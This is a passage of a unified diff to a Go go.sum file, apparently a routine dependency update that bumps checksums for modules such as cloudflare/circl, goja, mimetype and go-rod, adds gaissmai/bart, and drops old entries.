h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cloudflare/cfssl v1.6.5 h1:46zpNkm6dlNkMZH/wMW22ejih6gIaJbzL2du6vD7ZeI= github.com/cloudflare/cfssl v1.6.5/go.mod h1:Bk1si7sq8h2+yVEDrFJiz3d7Aw+pfjjJSZVaD+Taky4= github.com/cloudflare/circl v1.1.0/go.mod h1:prBCrKB9DV4poKZY1l9zBXg2QJY7mvgRvtMxxK7fi4I= -github.com/cloudflare/circl v1.3.8 h1:j+V8jJt09PoeMFIu2uh5JUyEaIHTXVOHslFoLNAKqwI= -github.com/cloudflare/circl v1.3.8/go.mod h1:PDRU+oXvdD7KCtgKxW95M5Z8BpSCJXQORiZFnBQS5QU= +github.com/cloudflare/circl v1.3.9 h1:QFrlgFYf2Qpi8bSpVPK1HBvWpx16v/1TZivyo7pGuBE= +github.com/cloudflare/circl v1.3.9/go.mod h1:PDRU+oXvdD7KCtgKxW95M5Z8BpSCJXQORiZFnBQS5QU= github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= @@ -274,17 +254,9 @@ github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQ github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ= github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4= -github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8= -github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI= github.com/containerd/continuity v0.4.2 h1:v3y/4Yz5jwnvqPKJJ+7Wf93fyWoCB3F5EclWG023MDM= github.com/containerd/continuity v0.4.2/go.mod h1:F6PTNCKepoxEaXLQp3wDAjygEnImnZ/7o4JzpodfroQ= -github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= -github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= -github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/cyphar/filepath-securejoin v0.2.5 h1:6iR5tXJ/e6tJZzzdMc1km3Sa7RRIVBKAK32O2s7AYfo= github.com/cyphar/filepath-securejoin v0.2.5/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxGGx79pTxQpKOJNYHHl4= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -300,7 +272,6 @@ github.com/denisbrodbeck/machineid v1.0.1/go.mod h1:dJUwb7PTidGDeYyUBmXZ2GphQBbj github.com/denisenkom/go-mssqldb v0.0.0-20191124224453-732737034ffd/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= github.com/denisenkom/go-mssqldb v0.12.3 h1:pBSGx9Tq67pBOTLmxNuirNTeB8Vjmf886Kx+8Y+8shw= github.com/denisenkom/go-mssqldb v0.12.3/go.mod h1:k0mtMFOnU+AihqFxPMiF05rtiDrorD1Vrm1KEz5hxDo= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U= @@ -308,8 +279,6 @@ github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/ github.com/ditashi/jsbeautifier-go v0.0.0-20141206144643-2520a8026a9c h1:+Zo5Ca9GH0RoeVZQKzFJcTLoAixx5s5Gq3pTIS+n354= github.com/ditashi/jsbeautifier-go v0.0.0-20141206144643-2520a8026a9c/go.mod h1:HJGU9ULdREjOcVGZVPB5s6zYmHi1RxzT71l2wQyLmnE= github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc= -github.com/dlclark/regexp2 v1.4.1-0.20201116162257-a2a8dda75c91/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc= -github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= github.com/dlclark/regexp2 v1.11.0 h1:G/nrcoOa7ZXlpoa/91N3X7mM3r8eIlMBBJZvsz/mxKI= github.com/dlclark/regexp2 v1.11.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= @@ -321,27 +290,18 @@ github.com/docker/go-connections v0.4.0 h1:El9xVISelRB7BuFusrZozjnkIM5YnzCViNKoh github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec= github.com/docker/go-units v0.5.0 h1:69rxXcBk27SvSaaxTtLh/8llcHD8vYHT7WSdRZ/jvr4= github.com/docker/go-units v0.5.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= -github.com/dop251/goja v0.0.0-20211022113120-dc8c55024d06/go.mod h1:R9ET47fwRVRPZnOGvHxxhuZcbrMCuiqOz3Rlrh4KSnk= -github.com/dop251/goja v0.0.0-20240220182346-e401ed450204 h1:O7I1iuzEA7SG+dK8ocOBSlYAA9jBUmCYl/Qa7ey7JAM= -github.com/dop251/goja v0.0.0-20240220182346-e401ed450204/go.mod h1:QMWlm50DNe14hD7t24KEqZuUdC9sOTy8W6XbCU1mlw4= -github.com/dop251/goja_nodejs v0.0.0-20210225215109-d91c329300e7/go.mod h1:hn7BA7c8pLvoGndExHudxTDKZ84Pyvv+90pbBjbTz0Y= -github.com/dop251/goja_nodejs v0.0.0-20211022123610-8dd9abb0616d/go.mod h1:DngW8aVqWbuLRMHItjPUyqdj+HWPvnQe8V8y1nDpIbM= +github.com/dop251/goja v0.0.0-20240610225006-393f6d42497b h1:fMKDnOAKCGXSZBphY/ilLtu7cmwMnjqE+xJxUkfkpCY= +github.com/dop251/goja v0.0.0-20240610225006-393f6d42497b/go.mod h1:o31y53rb/qiIAONF7w3FHJZRqqP3fzHUr1HqanthByw= github.com/dop251/goja_nodejs v0.0.0-20240418154818-2aae10d4cbcf h1:2JoVYP9iko8uuIW33BQafzaylDixXbdXCRw/vCoxL+s= github.com/dop251/goja_nodejs v0.0.0-20240418154818-2aae10d4cbcf/go.mod h1:bhGPmCgCCTSRfiMYWjpS46IDo9EUZXlsuUaPXSWGbv0= github.com/dsnet/compress v0.0.2-0.20210315054119-f66993602bf5 h1:iFaUwBSo5Svw6L7HYpRu/0lE3e0BaElwnNO1qkNQxBY= github.com/dsnet/compress v0.0.2-0.20210315054119-f66993602bf5/go.mod h1:qssHWj60/X5sZFNxpG4HBPDHVqxNm4DfnCKgrbZOT+s= github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= -github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= -github.com/eapache/go-resiliency v1.1.0/go.mod h1:kFI+JgMyC7bLPUVY133qvEBtVayf5mFgVsvEsIPBvNs= -github.com/eapache/go-xerial-snappy v0.0.0-20180814174437-776d5712da21/go.mod h1:+020luEh2TKB4/GOp8oxxtq0Daoen/Cii55CzbTV6DU= -github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= -github.com/edsrzf/mmap-go v1.0.0/go.mod h1:YO35OhQPt3KJa3ryjFM5Bs14WD66h8eGKpfaBNrHW5M= github.com/elazarl/goproxy v0.0.0-20230808193330-2592e75ae04a h1:mATvB/9r/3gvcejNsXKSkQ6lcIaNec2nyfOdlTBR2lU= github.com/elazarl/goproxy v0.0.0-20230808193330-2592e75ae04a/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM= github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc= github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= -github.com/envoyproxy/go-control-plane v0.6.9/go.mod h1:SBwIajubJHhxtWwsL9s8ss4safvEdbitLhGGK48rN6g= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= @@ -350,7 +310,6 @@ github.com/erikstmartin/go-testdb v0.0.0-20160219214506-8d10e4a1bae5 h1:Yzb9+7DP github.com/erikstmartin/go-testdb v0.0.0-20160219214506-8d10e4a1bae5/go.mod h1:a2zkGnVExMxdzMo3M0Hi/3sEU+cWnZpSni0O6/Yb/P0= github.com/fastly/go-utils v0.0.0-20180712184237-d95a45783239 h1:Ghm4eQYC0nEPnSJdVkTrXpu9KtoVCSo1hg7mtI7G9KU= github.com/fastly/go-utils v0.0.0-20180712184237-d95a45783239/go.mod h1:Gdwt2ce0yfBxPvZrHkprdPPTTS3N5rwmLE8T22KBXlw= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4= github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI= @@ -358,8 +317,6 @@ github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g= -github.com/franela/goblin v0.0.0-20200105215937-c9ffbefa60db/go.mod h1:7dvUGVsVBjqR7JHJk0brhHOZYGmfBYOrK0ZhYMEtBr4= -github.com/franela/goreq v0.0.0-20171204163338-bcd34c9993f8/go.mod h1:ZhphrRTfi2rbfLwlschooIH4+wKKDR4Pdxhh+TRoA20= github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/free5gc/util v1.0.6 h1:dBt9drcXtYKE/cY5XuQcuffgsYclPIpIArhSeS6M+DQ= @@ -368,13 +325,14 @@ github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMo github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= -github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= -github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= +github.com/gabriel-vasile/mimetype v1.4.4 h1:QjV6pZ7/XZ7ryI2KuyeEDE8wnh7fHP9YnQy+R0LnH8I= +github.com/gabriel-vasile/mimetype v1.4.4/go.mod h1:JwLei5XPtWdGiMFB5Pjle1oEeoSeEuJfJE+TtfvdB/s= +github.com/gaissmai/bart v0.9.5 h1:vy+r4Px6bjZ+v2QYXAsg63vpz9IfzdW146A8Cn4GPIo= +github.com/gaissmai/bart v0.9.5/go.mod h1:KHeYECXQiBjTzQz/om2tqn3sZF1J7hw9m6z41ftj3fg= github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc= github.com/getkin/kin-openapi v0.123.0 h1:zIik0mRwFNLyvtXK274Q6ut+dPh6nlxBp0x7mNrPhs8= github.com/getkin/kin-openapi v0.123.0/go.mod h1:wb1aSZA/iWmorQP9KTAS/phLj/t17B5jT7+fS8ed9NM= -github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gin-contrib/pprof v1.5.0 h1:E/Oy7g+kNw94KfdCy3bZxQFtyDnAX2V7axRS7sNYVrU= github.com/gin-contrib/pprof v1.5.0/go.mod h1:GqFL6LerKoCQ/RSWnkYczkTJ+tOAUVN/8sbnEtaqOKs= github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= @@ -403,7 +361,6 @@ github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2 github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-kit/kit v0.10.0/go.mod h1:xUsJbQ/Fp4kEt7AFgCuvyX4a71u8h9jB8tj/ORgOZ7o= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= github.com/go-kit/log v0.2.0/go.mod h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0= github.com/go-kit/log v0.2.1/go.mod h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0= @@ -432,20 +389,17 @@ github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/o github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBExVwjEviJTixqxL8= -github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= -github.com/go-rod/rod v0.116.0 h1:ypRryjTys3EnqHskJ/TdgodFMvXV0EHvmy4bSkKZgHM= -github.com/go-rod/rod v0.116.0/go.mod h1:aiedSEFg5DwG/fnNbUOTPMTTWX3MRj6vIs/a684Mthw= -github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg= +github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= +github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= +github.com/go-rod/rod v0.116.1 h1:BDMZY3qm/14SmvHBV7DoFUhXeJ2MbUYgumQ88b+v2WE= +github.com/go-rod/rod v0.116.1/go.mod h1:3Ash9fYwznqz9S1uLQgQRStur4fCXjoxxGW+ym6TYjU= github.com/go-sourcemap/sourcemap v2.1.4+incompatible h1:a+iTbH5auLKxaNwQFg0B+TCYl6lbukKPc7b5x0n1s6Q= github.com/go-sourcemap/sourcemap v2.1.4+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg= -github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= github.com/go-test/deep v1.0.8 h1:TDsG77qcSprGbC6vTN8OuXp5g+J+b5Pcguhf7Zt61VM= @@ -461,15 +415,12 @@ github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6Wezm github.com/gobwas/ws v1.3.2/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY= github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= -github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= -github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= +github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= +github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogf/gf v1.16.9 h1:Q803UmmRo59+Ws08sMVFOcd8oNpkSWL9vS33hlo/Cyk= github.com/gogf/gf v1.16.9/go.mod h1:8Q/kw05nlVRp+4vv7XASBsMe9L1tsVKiGoeP2AHnlkk= -github.com/gogo/googleapis v1.1.0/go.mod h1:gf4bu3Q80BeJ6H1S1vYPm8/ELATdvryBaNFGgqEef3s= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang-jwt/jwt v3.2.2+incompatible h1:IfV12K8xAKAnZqdXVzCZ+TOjboZ2keLg81eXfW3O+oY= @@ -485,7 +436,6 @@ github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9/go.mod h1:8vg3r2V github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= @@ -523,8 +473,8 @@ github.com/gomodule/redigo v1.8.5 h1:nRAxCa+SVsyjSBrtZmG/cqb6VbTmuRzpg/PoTFlpumc github.com/gomodule/redigo v1.8.5/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/certificate-transparency-go v1.1.8 h1:LGYKkgZF7satzgTak9R4yzfJXEeYVAjV6/EAEJOf1to= -github.com/google/certificate-transparency-go v1.1.8/go.mod h1:bV/o8r0TBKRf1X//iiiSgWrvII4d7/8OiA+3vG26gI8= +github.com/google/certificate-transparency-go v1.2.1 h1:4iW/NwzqOqYEEoCBEFP+jPbBXbLqMpq3CifMyOnDUME= +github.com/google/certificate-transparency-go v1.2.1/go.mod h1:bvn/ytAccv+I6+DGkqpvSsEdiVGramgaSC6RD3tEmeE= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -558,77 +508,50 @@ github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod 